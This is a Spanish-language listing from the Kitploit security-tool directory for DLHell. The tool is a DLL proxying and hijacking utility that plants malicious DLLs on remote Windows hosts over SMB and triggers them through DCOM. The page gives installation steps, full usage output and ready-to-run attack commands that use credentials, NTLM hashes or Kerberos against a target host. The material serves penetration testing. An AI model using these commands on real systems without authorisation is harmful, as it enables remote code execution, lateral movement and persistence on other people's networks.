Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DLHell — Proxying de DLL de Windows local y remoto | Kitploit
Herramientas/GitHubGitHub/synacktiv/dlhell
Escalada de PrivilegiosMecanismos de PersistenciaExplotaciónMovimiento LateralPost-ExplotaciónDesarrollo de Payloads
GitHubsynacktiv/dlhell

DLHell

Proxying de DLL de Windows local y remoto

Ver Repositorio
17222hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DLHell

DLHell realiza proxying de DLL de Windows local y remoto mediante DCOM.

Instalación

Se requieren los siguientes paquetes (puede depender de tu distribución; el siguiente ejemplo es para Debian 12):

root@kitploit:~
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

Instala las dependencias de pip:

root@kitploit:~
pip3 install -r requirements.txt

Inicio rápido

El siguiente comando secuestra la librería netutils.dll en el host 10.137.0.48 a partir del archivo de plantilla template.tpe (librería de secuestro en código fuente C++) que ejecuta calc.exe. Tanto la DLL original como la proxy se colocarán en la carpeta program files/windows nt/accessories/ del recurso compartido C$ en el objetivo remoto.

Por favor, usa la sintaxis de Impacket para la opción -remote-target.

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

También se puede utilizar la autenticación Kerberos:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

Enumera los CLSID y ProgIDs disponibles:

root@kitploit:~
DLHell.py -list

Uso

root@kitploit:~
 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Proxying de DLL local

Para la creación de DLL local, usa las opciones -local-lib (nombre de la DLL proxy) y -local-target (DLL original renombrada):

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

Proxying remoto de DLL (se requieren privilegios de administrador):

Para el secuestro remoto de DLL, especifica las opciones -target, -remote-lib (nombre de la DLL original en el host remoto) y -local-target (DLL original renombrada) opciones:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

Proxying de DLL mediante DCOM (se necesitan privilegios de administrador)

El proxying de DLL mediante DCOM puede explotarse usando las opciones -progid y -clsid. La lista de CLSIDs y ProgIDs disponibles se obtiene con el siguiente comando:

root@kitploit:~
DLHell.py -list

Puedes añadir nuevos secuestros al archivo dcom.json, que define las rutas de las librerías vulnerables:

Después, solo se requiere el ProgID o CLSID para:

  • Obtener la DLL original
  • Crear y compilar la librería de secuestro
  • Subir las librerías al host remoto
  • Activar la clase DCOM remota

Ejemplo para el ProgID WordPad.Document.1:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

Ejemplo para el CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
Descargar herramienta